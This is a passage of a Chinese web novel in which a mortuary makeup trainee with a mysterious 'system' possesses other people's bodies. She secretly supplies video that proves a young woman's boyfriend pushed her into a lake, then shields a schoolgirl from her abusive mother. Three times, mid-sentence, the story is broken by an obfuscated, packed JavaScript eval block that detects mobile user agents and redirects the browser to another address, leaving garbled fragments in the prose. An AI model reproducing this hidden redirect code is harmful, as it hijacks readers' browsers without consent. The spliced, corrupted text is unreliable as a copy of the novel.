她回到家的时间就已经很晚了,中间发生了什么事,导致她大半夜的再次出门,然后二次落水? 线索太少,温时简推不出来。 从她意识进入这具身体到现在,已经两个多小时了。 而在姜晴那里,两次加起来都没半个小时。 “距离会影响附身时间吗?” “会。除此之外,附身时间还跟你的精神力强度有关。附身对象本身的意识,也会对此产生影响。” 温时简正跟系统交流着,忽然外面响起一阵脚步声。 凌晨四点多,万籁俱静。 再加上单人病房区的环境本就相对安静,使得这脚步声更加的明显。 最终停在病房门口。 接着是几声堪称粗鲁的敲门声。 “开门。”是女人的声音,在这个环境下,显得阴恻恻的。 屋里的另外三人一下子惊醒。 温时简听到这个声音的瞬间,明显感觉到身体原主人意识有了复苏的征兆。 身体原主人的父亲紧皱着眉头,起身去开门。 与此同时,温时简已经切换[观众]模式,调出了门口的画面。 只见一个穿着黑色衣裤的中年女人,正在敲门。 她站在那里,就像是一个浑身充满了怨气的怨鬼,眼里满是恨意,五官看起来似乎都有些扭曲了。 看清楚这人面貌的瞬间,温时简只觉得心底涌起一股复杂的情绪,害怕,愧疚,怨憎…… 身体原主人的意识彻底醒来。 温时简被挤出了身体。 最后只听到两句模糊的声音。 “请问你是……?” “你为什么还没死?凭什么……” 8. 第 8 章 早上醒来,温时简又享受到了一回头痛欲裂的感觉。 不过这在她的预料之中。 老实在床上瘫了一会儿,等疼痛稍缓,她才慢慢爬起来,开始洗漱 “如果经常像这样用脑过度,会不会有什么后遗症,比如……变成傻子?”这才是她最关心的问题。 “以前会。” 也就是说现在不会。 温时简顿时放心不少。 “有没有什么办法,能让我变强一点?” 虽然不会变傻,但每次都这么疼,也不是办法。 “多锻炼身体,会好一些。” 听到这话,温时简脑子里首先想到了昨晚在湖边遇到的孙向芸。 这是温时简目前为止,在现实生活中遇到过的,最能给她安全感的人。 孙向芸往那一站,身姿挺拔,结实有力量感的手臂肌肉,紧致的腹部肌肉线条,一看就知道是经常锻炼的人,但又不同于健身房里的花架子。 很实用,很能打,很安心。 温时简以前做梦都想变成这样。 可惜现实里的她,只是稍微有点力气,外加一股子狠劲,才能磕磕绊绊走到如今。 不过没关系,她才21岁,以后的日子还长着呢。 并且她还有一个神秘且强大的系统。 等工作稳定了,慢慢锻炼就是了。 跟系统唠嗑的功夫,她已经收拾好出门了。 今天食堂的早餐依旧丰盛。 一碗牛肉面盖两个煎蛋,烧麦拿一个,玉米拿半截,茶叶蛋也加一个。 温时简今天来得要更晚一些,没碰上李如明,她跟别人也不熟,于是端着餐盘随便找了个空位坐下。 一边吃饭,一边看手机。 昨晚她临时接手的那具身体,名字叫林梦嘉。 意识被挤出身体前看到的那个中年女人,温时简猜测可能是林梦嘉那个死掉男朋友的妈妈。 也不知道发生了什么事,居然直接半夜找到医院里来骂。 林梦嘉的反应也很奇怪。 温时简决定翻一下今天的本地新闻,看看能不能找到什么线索。 她印象中,翠湖每年都有淹死的人,夏季尤其多,可能隔不了几天,就会走一个。 因此溺亡在这里算不上什么大新闻。 但再怎么说也是一条命,新闻多多少少都会提到。 温时简以为,她需要花费一点功夫,才能搜到想要的信息。 结果刚打开,营销号就已经把新闻怼她脸上了。 “金海一对情侣跳河,男方身亡,女方获救。” “网传女生当晚曾二次跳河自杀……” “殉情并非真相,死者母亲控诉,是女方害死了她儿子!” 评论区里更是说什么的都有。 特别是那些本地ip的网友发言。 有自称是死者钱某朋友的人,说当事双方感情并不好,已经闹好几次分手了。 也有说家里有关系,从特殊渠道了解到内情,称女方当晚二次落水,不是自杀,而是被人推下去的。 下面有人补充,说推人的就是钱某的母亲。 …… 类似的言论,即便温时简身为当事人之一,也是看得一愣一愣的,根本分辨不出真假。 很快吃完了早餐,她便暂时将这件事抛到脑后。 毕竟现在工作最重要。 到了办公室,温时简从李如明处得知,今早一共送来了四具遗体。 工作量猛一下提了上来,她稍微有些惊讶,但仔细一想,又很正常。 殡仪馆又不是做慈善的,真要像前两天一样,两个人加起来只整理了三具遗体,用不了多久就得直接关门。 赚的钱还不够她跟李如明两个人其中一个的工资。 “等下整理完这一个后,你试试自己上手,我在旁边给你看着。” 李如明冷不防说出一句惊人的话。 温时简手上动作一顿。 她拢共也就学了两天,并且充当的基本都是递东西的打酱油角色,怎么突然就要尝试独立行走了? 似乎是猜到了她的疑惑,李如明解释道,“这几个跟昨天下午的一样,也是占指标的,因此只要不是太过分的敷衍,没有人会说什么的。” 言下之意,正适合用来给新人练手。 或者说,这几天送来的遗体,本来就都是为了给她学习和练手的。 遗体化妆师这个职业,技术门槛其实没有想象的那么高。 毕竟接待的客人不会提出什么要求,他们的家属对待这方面的态度也很宽和。 相比技术,更重要的是胆子足够大,因为会碰到各种类型的遗体。 此外还需要有一个强健的体魄,因为不仅是要给遗体化妆,还需要帮忙擦洗身体,换上干净的寿衣。 这些都是实打实的体力活。 并且由于遗体不会像活人那样主动配合,决定了化妆师在这个过程中,会更加的劳心劳力。 当然,这些仅仅是指普通遗体化妆师。 殡仪馆里的普通化妆师,平均每天接待10-30具遗体,主打一个走量,追求大差不差,看得过去就行。 温时简现阶段就是这个定位。 第一具遗体很快整理好,刚推出去没几分钟,第二具遗体就被送了进来。 李如明果真只站在一旁看着。 温时简心里有些紧张,在化妆台旁站在片刻,调整好状态后,开始第一次独自给遗体化妆。 她发现自己的大脑比想象的更清醒一些,李如明教过的那些步骤,重点提到过的东西,每一样她都记得很清楚。 唯一欠缺的只有熟练度而已。 李如明时不时会提点她一两句。 前后花了大概一个小时的时间,温时简就整理好这一具遗体。 “做得很好。”李如明夸赞道。 小苍山殡仪馆的遗体化妆师这个职位,很少有人员变动。 那些到了年纪退休的,或者身体情况实在不好不能继续工作的,他们离开之后,顶上来的也基本都是熟人。 李如明在这里工作了三十年,温时简是第一个通过对外招聘进来的纯新人。 说实话,一开始李如明根本就没对温时简抱有什么期望。 但是在见到人之后,她的想法就改变了,她觉得这个姑娘或许真的能行。 她喜欢温时简坚毅的眼神,喜欢她身上那股不服输的韧劲儿。 像是原上的野草,风一吹,就能长得很好。 现在看来,她也的确没看错人。 “接下来的遗体都由你来整理,没问题吧?”李如明问。 温时简点头,“好。” 接下来李如明直接拖了张椅子过来,往旁边一坐,开始了闭目养神。 温时简以为李如明会陪着她,直到把剩下的两具遗体处理完。 结果第三具遗体推进来没几分钟,李如明接了个电话,便匆匆走了。 好歹有着师徒名分,温时简担心是不是出什么事了。 “没什么事,有客户指定要我去出外勤。你先练着,下次有机会带你一起出去。” 温时简后知后觉反应过来,她的师父李如明,是这家殡仪馆里的高端遗体化妆师,平时接的估计都是一些高端业务。 也就是最近情况特殊,才会陪着她一起跟这些普通遗体打交道。 李如明走后,遗体化妆间里就剩下温时简一个人。 她一时有些不习惯。 但问题不大。 有了之前的经验,整理后面这两具遗体的时候,温时简的速度稍有提升,赶在十二点半前结束了早上的工作。 她在去食堂的路上,意外接到了孙向芸的电话。 对方在电话里问她地址,又问她这会儿方不方便,打算给她送衣服过来。 温时简报了地址。 “正好我们离你不远,一会儿就过来。” 孙向芸说一会儿,那是真的一会儿,前后不到半个小时的时间,车就开到了殡仪馆大门口。 温时简走出来,看到那辆蓝白警车,有些意外。 开车的是昨晚在湖边见过的那个叫小崔的男生,身上穿着警服,整个人的气质也有了些变化。 车门打开,孙向芸从车上下来。 她没穿警服,一身休闲的打扮。 温时简想起昨晚在湖边上,跟孙向芸同行的那两个人叫她队长,看来还不是个普通警察。 “多谢你的衣服。”孙向芸递来一个纸袋。 “不用谢,刚好碰到。”说起这个,温时简突然想到,既然孙向芸是警察,那对方会不会知道林梦嘉的事? 她犹豫了几秒,还是没能忍住心中的好奇,开口问道,“孙警官,能不能问一下,你昨晚在湖边救的那个女生,情况怎么样了?我今天看到相关新闻……” 温时简刚才吃饭的时候,打开手机,发现林梦嘉这件事已经有了新的发展。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156032|164937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 由于网络上消息扩散太快了,真假混杂,越传越离谱。 怕最后事态难以控制,翠湖区的派出所紧急发布了警情通报,表明的确有这么一件案子,但具体案情目前正在侦办中,不便透露。 结果事情不仅没有就此打住,反而往另一个意想不到的方向发展。 “我听人说,女方两次落水都是在同一个地方,但那附近的监控前段时间坏了,那一片刚好成了视角盲区……” 一层石激起千层浪。 各种阴谋论层出不穷,说什么的都有。 评论各更是路人马轮番登场。 渐渐的,风向变了,所有的恶意一股脑涌向林梦嘉。 说她害死了男朋友不够,连男朋友他妈也不放过,就因为对方不同意他们在一起。 关于林梦嘉的信息,已经被人扒了一部分放到网上。 “她人没事,警方安排了人专门跟着保护她,你不用担心。目前案子正在全力侦办中,更多的就无可奉告了。”孙向芸虽然没有拒绝,但也没有透露什么具体信息。 温时简很识趣的没再多问。 下午又送来了四具遗体,跟早上的情况一样,都是给她练手的。 李如明还没回来,温时简依旧一个人干活。 照这个架势,她觉得明天还会再上强度。 也不知道殡仪馆一个月的公益指标到底有多少,不会是打算让她在七天试用期内给全干完吧? 一整个下午,温时简除了喝水上厕所,其余时间全在工作。 最后赶在下班时间顺利搞定了,没多余加班。 网上关于林梦嘉这个案子的相关信息愈演愈烈。 温时简隐隐觉得有些不对劲,像是有人在后面推波助澜一样。 她一下子联想到了医院病房外那个满眼恨意的女人。 吃完饭离开食堂,温时简在外面找了个坐处,直接启动[观众]。 她先找到了网传的出事地点。 考虑到一个人从落水到溺亡,也就十几分钟的事。 她便以钓鱼大叔发现林梦嘉的时间为基准,往前推了差不多半个小时。 这么一弄,温时简发现那个时间段,她刚好在那附近。 随着心念一动,一副画面被推送到了她面前。 起初画面里没有人,岸边的草木在夜风的吹拂下微微摇摆。 过了几分钟,忽然有两道身影闯了进来。 一男一女,女的正是林梦嘉,男的身份不言而喻。 “钱宗文你有病啊,拉我来这边干嘛?”林梦嘉看起来非常的生气,期间她一直尝试甩开男生的手。 但由于二人之间体型与力量的悬殊,结果都以失败告终。 钱宗文眼神阴翳,“林梦嘉,你**一定要跟我分手是吧?” “你是不是听不懂人话?我说过很多次了,我真的受不了你和你那个妈了,一个比一个疯,算我拜托了,你们能不能放过我?”林梦嘉拒绝得毫不留情,不停挣扎着。 “我不同意分手!要么你死,要么我死,否则你就只能永远跟我在一起!” “那你去死吧!” 林梦嘉没有半分犹豫,这一次她顺利的甩开了男生的手,连头都没回,径直就要离开。 然而刚走了没几步,忽然感觉到背后突然传来一股力道,她身体顿时失去了平衡,往湖里倒去。 林梦嘉眼神瞬间转为惊恐。 她下意识伸手想要抓住点什么。 钱宗文脸上狠厉的表情还没来得及收起,便在下一刻转变为恐惧。 因为林梦嘉抓住了他的衣服。 两人一起掉进了湖里。 并且两人都是不会游泳的。 最后钱宗文溺水身亡,而林梦嘉运气好,身上的外套救了她一命。 看完这一段记录,温时简没忍住骂了句脏话,但很快她又笑了起来。 “死得好!这怎么不算得偿所愿呢!” - 是夜。 终于等到林梦嘉困极睡去,温时简借着二人之间的联系,再次占据了这具身体。 不过她这次没打算做什么,只是将[观众]视角记录的画面,找了个看似无意间拍到的角度,拷贝到了林梦嘉的手机里。 想了想,又找来纸笔留言—— 都过去了。 恭喜你,逃过一劫又一劫。 以后一定会顺顺利利的。 ps:手机里给了你留了礼物。 9. 第 9 章 第二天。 林梦嘉早早就醒来了。 她的身体没什么大问题,但精神状态实在算不上好。 只要一闭上眼,脑子里就控制不住的浮现那些画面。 她有些分不清,那些究竟是真实发生的,还是她在经历意外之后,幻想出来欺骗自己的。 特别是第二次落水昏迷之后发生的事…… 正想着,她手忽然摸到了什么东西。 林梦嘉一愣。 她坐起身来去看,发现手边放着一个笔记本。 她记东西从来都是用手机, 林梦嘉试图回忆昨晚睡觉之前到底做了什么,视线却捕捉到笔记本上的内容。 看清字迹的一瞬间,她整个僵在原地。 这不是她的字迹! “妈妈!妈妈——” 林梦嘉慌乱的喊了起来。 话音落下不过几秒,房间门就被从外面推来。 她的母亲沈心语匆匆跑了进来,一脸担忧的神色,“怎么了嘉嘉宝贝,又做噩梦了吗?” 其父随后也跟了进来。 夫妻俩,一个坐着一个站着,看向床上少女的眼神,满是心疼。 “妈妈,昨晚没有人来过我房间对吧?!”林梦嘉语气焦急的问。 “没有没有,我跟你爸在外面看着呢!”沈心语动作轻柔的摸着女儿的头。 “就只是梦,醒来就好了……”她以为女儿又做噩梦被吓醒了。 “不是的,妈妈,不是!”由于太过急切,林梦嘉大脑一时组织不出完整的句子,她不停摇头,然后举起手里的笔记本给母亲看,“你看这个,妈妈,我醒来就发现它在手边,这不是我写的字,还有这个说话的语气……” 沈心语没多想,随着女儿的动作看去。 这一看,她也呆住了。 前天晚上赶到医院,他们夫妻才从医生那里得知,女儿是第二次落水被送进医院了。 一次可能是意外,但短时间内发生第二次,一定有问题。 沈心语是不相信女儿会自杀的。 她一手养大的宝贝,她比谁都了解。 阳光开朗,自信大方。 这样性格的孩子,即便真的想不开自杀,那也一定是碰上了诸如他们夫妻俩意外离世这类的极端情况。 谈个恋爱而已,伤心两年差不多了。 他们夫妻在医院里陪了林梦嘉一晚,起初孩子沉默不语,他们只当是受到了强烈刺激,暂时不想跟人交流,也就没追问。 没想到凌晨有个疯子追到来医院来骂,不停诅咒林梦嘉去死。 沈心语气得不行,要不是被女警官拦住,她就直接动手打人了。 最后那个疯子被医院的保安带走,病房里恢复了安静。 沈心语回过头,发现女儿情况有些不太对。 她本来只是尝试着问一下,没想到女儿竟然回应了。 于是夫妻俩从女儿那里,得知了大半的事情经过。 至于为什么只有大半…… 这就涉及到了林梦嘉的惊人言论—— “我好像撞鬼了……” 她说第二次落水后,她很快失去了意识。 当时她以为自己死定了。 因为衣服不可能那么刚刚好的托住她的身体再救她一次。 没想到她还能再一次睁开眼,并且一睁眼就看到钱宗文的妈像鬼一样站在门外面,用阴狠的眼神盯着她看。 夫妻俩对视一眼,显然都发现了其中的不对劲之处。 “护士说,这一次来医院的时候,你人是醒着的,只是一直没说话……” 沈心语小心的说道。 林梦嘉回她一个茫然的眼神,表示自己明明刚醒。 夫妻俩赶紧叫来医生,然后得到一个‘短暂性失忆’的结论。 第二天林梦嘉就出院回家静养。 夫妻俩挑了个时间,打电话询问了救起女儿并且送她到医院的好心钓鱼大叔当然的具体情况。 得知当时林梦嘉是自己喊了救命并且朝着岸边游过来的,他们顿时沉默了。 但即便如此,‘撞鬼了’这个说法,还是难以让人接受。 毕竟只听过水鬼找替身的故事,哪有这么好心救人的鬼? 谁也没想到,普普通通的一夜过去,‘鬼’又来了。 而且还这么明目张胆。 按理来说,这种事应该是会让人感觉到害怕的。 但沈心语却没有多少感觉,因为从头到尾,她几乎没感受到恶意。 她很快冷静下来,重点关注留言的内容。 “手机里的礼物,是什么?”她问。 林梦嘉也不知道,她还没来得及看。 然后一家三口人,就凑到了一起,怀着半是期待半是担忧的心情,在林梦嘉的手机里寻找起了‘鬼’说的惊喜。 再然后,他们就看到了那段视频。 “畜生!” “死得好!” 哪怕人已经死了,夫妻俩尤不解恨,愤怒之情溢于言表。 林梦嘉则是长长的舒了一口气。 第一次落水被救醒来后,她一度分不清,当时落水,到底是钱宗文推了她一把,还是她自己不小心踩滑了掉下去的? 她知道钱宗文跟她一样不会游泳。 如果是钱宗文推的她,那她当时的行为简直不要太漂亮,她由衷的希望他过两天自己从水里飘起来。 可如果不是…… 林梦嘉虽然已经不喜欢钱宗文了,甚至有些讨厌他,但也没到真的希望他去死的地步。 她不是那种害死了人,还能心安理得,一点愧疚心都没有的人。 当晚在医院里醒来后,林梦嘉就尝试打了钱宗文的电话,一直提示关机。 之后从医院离开,她又给钱宗文的母亲打了电话,询问后者有没有回家。 在得到否定的答复之后,她就意识到,钱宗文可能真的死了。 由于分不清落水的原因,林梦嘉只说了他们俩人一起落水的事,问钱宗文母亲要不要先报警。 当时林梦嘉已经做好了钱宗文的母亲会因为接受不了这个噩耗在电话里疯狂咒骂她的准备。 但是出乎她的意料,回应她的是电话那头长久的沉默。 久到她都怀疑对方是不是一时没缓过气昏迷了,已经在考虑打急救电话时,钱宗文母亲终于说话了。 “你能陪我一起去找阿文吗?”她问,声音听起来有些发颤,像是在强行压抑情绪。 林梦嘉并不喜欢钱宗文母亲,甚至可以说是讨厌。 她一开始会答应钱宗文的追求,跟他在一起,没有别的什么原因,单纯就是喜欢这个人。 刚交往的那段时间,林梦嘉是真的很开心。 他们像大多数小情侣一样,一起吃饭,一起去图书馆,一起去看电影。 钱宗文会给她买奶茶和零食,她也会回赠他球鞋和一些小东西。 但是随着相处时间的增加,林梦嘉渐渐发觉钱宗文这个人有些问题。 过分偏执的性格,甚至有的时候会很极端。 林梦嘉曾经看见过一次他打垃圾桶附近觅食的流浪猫,但也只有一次,后来就没再碰见。 很多小问题堆积在一起,她就已经在考虑跟钱宗文的这段感情了。 突然有一天,钱宗文说要带回家去见他妈。 林梦嘉想也不想就拒绝了,她都在考虑分手了,还见个毛线的家长。 但钱宗文说他已经跟他妈说好了,并且他妈也从早上就开始准备。 林梦嘉只能皱着眉答应。 事实证明,人一定要遵从自己的本心,不喜欢的事就不要勉强,不然很大概率会得到一个糟糕的结果。 林梦嘉对香菜过敏,这一点钱宗文是知道的。 以防万一,去他家之前,她还特意问他有没有跟他妈提这一点。 钱宗文点头。 结果到了他家,那饭桌上满满一大桌子菜,一半上面都撒了香菜。 林梦嘉用尽了毕生的修养,才控制住自己没当场扔筷子走人。 钱宗文一边埋怨他妈,一边不停的道歉。 他妈也是一脸愧疚的表情,说做菜习惯了,顺手就放了上去。 她说着话,拿了筷子去把表面的香菜挑掉。 “就撒了点在上面做装饰,挑掉就行了……” “阿姨,不用这么麻烦……” 钱宗文也跟着开口打圆场,“没事的,没事的,先吃饭吧,一会儿菜凉了……” 林梦嘉那番话只是出于礼貌。 实际上她的筷子从头到尾没落在撒了香菜的盘子里,甚至别的菜也只是象征性的夹了两筷子,几乎是一碗白米饭从头吃到尾。 吃完饭后,林梦跟着一起收拾了桌子。 钱宗文的母亲准备去洗碗。 “妈,你累一天了,坐着休息一会儿吧,碗让我跟嘉嘉洗……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156033|164937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 看着这一出母慈子孝的画面,林梦嘉的好脾气终于是用完了,二话不说直接走了。 结果刚出门没多久,她就出现了过敏反应,浑身发痒,皮肤上大片大片的起红疹。 林梦嘉直接气笑了。 她全程只吃了蒜泥时蔬和番茄炒蛋两个菜,很确定没在里面看到香菜。 并且吃得很少很少。 但依然出现了过敏反应。 她只能庆幸,还好她这个过敏不严重,否则一个不小心,小命都可能得交代。 当天晚上,她就跟钱宗文提了分手。 后者当然不肯同意,不停的解释,道歉,指天发誓。 林梦嘉一个字也不信。 但钱宗文仿佛听不懂人话一样,一直对她死缠烂打。 出事的那天晚上,林梦嘉跟朋友在那附近玩。 中途朋友接了个电话,匆匆走了。 林梦嘉在路边等着打车,但车没等到,先等来了钱宗文。 她被他拉着一路走到了湖边区域。 …… 按正常发展,林梦嘉最后也会跟钱宗文分手。 但他妈的出现,直接加速了这个过程。 可以说,即便钱宗文本身没有任何问题,但有这样的母亲,林梦嘉跟他也不会也结果。 “好……” 林梦嘉最终还是答应了钱宗文母亲的请求。 事后想起来,她都觉得自己当时可能是在水里泡太久,脑子也跟着进水了。 否则怎么会同意对方的请求,并且还大晚上的一个人过去了? 她打车过去就花了差不多一个小时,到了地方发现钱宗文母亲站在河岸边上,看起来就像是随时准备跳下去的样子。 林梦嘉站在相对安全的位置跟对方打招呼。 钱宗文母亲的情绪,出乎意料的平静。 若不是看到她红肿的眼睛,林梦嘉都要怀疑钱宗文是不是没事,只是他们母子俩合起伙来恶心她。 林梦嘉问她有没有报警。 钱宗文母亲说警方已经在找人了。 林梦嘉并未怀疑,而后尝试把人从河岸边劝回来。 对方过程出乎意料的配合。 渐渐地,林梦嘉就放松了警惕。 第一次遇到这种事,她也不知道怎么安慰人,就只能陪着对方等消息。 又过了一段时间,钱宗文母亲的电话响了。 林梦嘉听不到通话的内容,电话很快挂断了。 她以为是什么无关紧要的电话,却听钱宗文的母亲声音喜悦的说,“阿文找到了,他人没事!” “什么?”林梦嘉以为自己听错了。 对方重复了一遍,“阿文他没事!只是手机丢了,怕我知道担心,就没回家……” 这番话其实是很不合理的,但当时的林梦嘉根本没有多想。 她真心的因为人还活着的消息而庆幸,彻底放松了警惕。 却没想到,那只是钱宗文母亲为了骗她卸下防备编造的谎言。 那通电话的内容,其实是说钱宗文的尸体找到了。 钱宗文的母亲,远比林梦嘉以为的要可怕。 在接到林梦嘉那通电话之后,她就已经下定决心,如果儿子真的出事了,她就一定要让林梦嘉给他赔命! 林梦嘉的警惕,她全程看在眼里,却装作什么都没发现的样子,不着痕迹一点点卸其心房。 终于在得到儿子死亡消息时,图穷匕见,一把将不知不觉走到了河岸边的林梦嘉推下水。 “去死吧!” “你害死了我儿子,我要你给他偿命!” “我要你去下面,给他做牛做马!” …… “我就知道不是幻觉,当时真的是他推了我!” 林梦嘉抓着手机的手,因为太过用力,指节都开始泛白。 她嘴上这么说,但其实在此之前,一直都无法确定。 因为人在遭遇重大变故之后,有些时候会修改自己的记忆,以此来为自己的行为开脱 ,以求良心上的安宁。 “我就知道,不是我的错……” 这短短两天的时间,林梦嘉只觉得前所未有的煎熬。 现在,她终于不用再经受良心的折磨。 她猛一下扑进母亲的怀里,放声大哭。 沈心语紧紧搂住女儿,控制不住也落下泪来,“嘉嘉宝贝不哭,都过去了,都过去了,以后一定会顺顺利利的……” 10. 第 10 章 市刑侦队办公室。 “案子就这么结了?” “那不然呢?” 崔凤蔺翻看着‘5·3落水案’的资料,问对面的武钰,“你就不觉得这个视频有问题?” “什么问题?”后者一边整理资料,抽空抬头扫他一眼。 “拍摄时间,拍摄视角,以及这个清晰度,哪哪都不对好吗!” “哪有人眼睁睁看着凶杀案发生无动于衷的?!最起码报个警啊,或许人就救下来了呢!” “而且昨天痕迹科的在河边忙前忙后,网上也闹得沸沸扬扬,这人一声不吭,今天莫名其妙就把视频给了林梦嘉,几个意思?” 崔凤蔺脑袋上爬满了问号。 武钰听着他的十万个为什么,没忍住翻了个白眼,“技术科已经查过了,视频是真的,这不就行了。至于拍视频的人,你管他呢,见死不救又不犯法,只是不道德而已。” “当然,我个人是十分谴责这种行为的!” “再说了,也许人家只是刚好把拍摄器材落到了那里,又刚好拍到案发经过,然后找回了器材后并没有第一时间查看,直到今天才发现。又因为只想做个无名英雄,于是悄悄把视频给了林梦嘉。” “你就算要瞎编,好歹也用点心啊。”崔凤蔺回了她一个白眼。 “知道我在敷衍你就好。我说你要是实在闲,就来帮我一定弄资料吧,或者你也可以去找警犬玩。” 崔凤蔺看了眼武钰面前那些堆积如山的文件,毫不犹豫的摇头拒绝了,“不过我可以给你带点喝的。” “一杯拿铁,谢谢老板!”武钰眼睛一下子就亮了。 “你们呢?”崔凤蔺问其他人。 死气沉沉的办公室,短暂的活了过来。 众人熟练的点单,再接一句‘谢谢老板’。 - 温时简感觉,一早上五具遗体,就是她现在,乃至于未来相当长一段时间内的极限。 工作终于暂告一段落的时候,她整个人累瘫在椅子上,一动不想动。 不过意识还很活跃。 “你觉不觉得,一觉醒来,发现自己突然失去一段记忆,是一件很恐怖的事?” “你有什么话可以直说。” “好吧,我就是想问,每次附身的时候,原主人就只能处于失去意识的状态吗?” 她虽然是带着自己的记忆过去的,但却对原主人的过往一无所知,这又何尝不是另一种意义上的失忆呢。 而且,这都什么年代了,想跟对方搭个话,还得用留言这种极其古老且毫无效率的方式,体验感真的很差啊! “只有第一次是这样。建立联系后,你可以尝试进行沟通,如果对方同意,你就可以在其清醒的时候附身,并且与之进行交流。或者,当你的意识足够强大,就可以跳过沟通这一步。” “包括白天?” “包括白天。” 温时简只能说,系统果然是万能的。 这样一来,她处理姜晴的事,就会方便很多。 姜晴本身年纪小,性格偏内向,以温时简不多的经验来看,她的家庭方面很大概率也是有问题的。 今天是周六,不出意外姜晴应该回家了,正好可以去看看是个什么情况。 思及此,温时简诈尸一样从椅子上跳起来,飞奔往食堂,迅速搞定午饭后,在外面那个熟悉的位置一坐,开始尝试跟姜晴沟通。 - “你成绩不行了就算了,本来也没指望你有什么出息,但你怎么能动手打人?” 我没……明明是她们先欺负我的。 “我看真的是把你惯坏了,不仅在学校里惹事,回家也想摆谱,只是让你辅导弟弟作业,又不是让你去做什么苦活累活,一副不情愿的样子给谁看?” 我没有。 “……他还小,学不会就慢慢来,你连这点耐心都没有?” 我教了好多遍,他根本不听。 “姜晴,我能……呃……用一下你的身体吗?” 可以。 “你怎么能打你弟弟?!他还这么小,打坏了怎么办?!” 是他先打我的…… 姜晴正在挨骂。 她头垂得很低,恨不得找个地缝躲进去的样子。 妈妈站在旁边,一手叉腰,一手指着她。 眼睛里的愤怒几乎要凝成实质。 唾沫星子漫天飞。 姜晴麻木的听着,一句话都不敢说,甚至不敢看她。 只敢在心里小声辩驳。 虽然没什么用,但至少她能好受一些。 妈妈说一句,她回一句。 这几乎是一种本能。 可是这一次,好像有哪里不一样。 在刺耳的指责声中,混入了一个温和的声音,似乎是在询问她的意见。 姜晴心想,我也有选择的权利吗? 不过好像已经答应了。 “姜晴,你到底有没有在听?!” 姜晴下意识手握成拳,微微发抖。 然后她发现,身体好像不受她控制了。 ‘她’顶着妈妈的骂声,抬起了头,跟她对视! 愤怒的表情,喷火的眼神…… 她的身体都开始微微颤抖起来。 “抖什么,别怕。” “话说回来,现在这是什么情况?” 征得姜晴的同意后,温时简的意识在这具身体里醒来。 有别于之前,这次她可以明显感觉到身体里另一个意识的存在。 甚至能隐约知道察觉到对方的情绪。 比如现在,她能感觉到姜晴在害怕和难过。 姜晴……姜晴已经呆住了。 她脑子一时有些转不过来,不知道为什么会听到有人跟她说话。 “你这是什么眼神?是我哪句说错了吗?!”李丽平时没少骂女儿,却是第一次遇见这样的情况,前面都好好的,忽然抬起头来看她。 那眼神,李丽不知道要怎么形容,看起来很陌生。 甚至有那么一瞬间,李丽觉得,姜晴似乎想要跟她动手一样。 李丽因为脑子里突然冒出来的念头愣了一瞬,而后就是更强烈的愤怒。 “好啊你,在学校里动手打同学,回家还想跟亲妈动手,翅膀硬了是吧?!” 她一边骂,巴掌朝着女儿的脸上扇去。 而姜晴已经做好了挨打的准备。 因为一直都是这么过来的。 但这一次不一样。 跟她共用一具身体的温时简,从来都不是打不还手骂不还口的人。 甚至在李丽手还没抬起来之前,温时简就提前预判了她的反应。 于是李丽的巴掌落空了,并且因为用力过猛,打空后没能收住手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15156034|164937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,狠狠打在了旁边的书架上。 疼痛的感觉传回大脑,她的脸一瞬间扭曲起来,发出痛苦的喊声。 姜晴整个人惊呆了。 “哪有人站着挨打,躲都不躲一下的?”温时简叹气。 “可是,可是她是妈妈……” “打人不打脸听过吧?同样的道理,就算一点办法都没有了真要挨打,那也不能是脸,身体脆弱部位也不行。” 姜晴愣愣的听着这番话,这是她从来没有过的想法,却又觉得很有道理。 但现在好像不是思考这个的时候,更重要的是—— “你……你是谁?” “这个问题的答案很明显吧。对了,你可以直接在脑海中跟我对话,不用说出口。” 姜晴大脑宕机的这期间,温时简很熟练的操控着她的身体,试图对当前的局面进行补救。 “妈……你手没事吧?” “对不起,我刚才不应该躲的……” “我错了,我以后一定会听话的!” 其实她更想破口大骂。 但这是姜晴的身体,对面是姜晴的母亲。 温时简只能硬着头皮,用尽可能懦弱一点的语气回应。 不过这中间会夹杂一两句姜晴本人慢半拍的对话回复。 好在李丽这会儿忙着感受疼痛,一时也顾不上。 小小的房间里,上演着精彩纷呈的戏码。 温时简的意外造访,点燃了李丽本就旺盛的怒火,但她又凭本事,把火给浇灭了。 姜晴挨骂挨到一半,注意力全被从天而降的英勇女鬼吸引了,根本顾不上难过。 至于李丽,嘴巴骂酸了,手也意外受伤了,本想迁怒几句,结果女儿一反常态,不停的道歉,搞得她想发作都找不到借口,最后只能憋着一肚子出去了。 总之,对在场的三个人而言,这都是一个不寻常的中午。 眼看着李丽离开,姜晴悄悄松了一口气。 温时简已经操控着身体走过去把门关了,并且顺手反锁上。 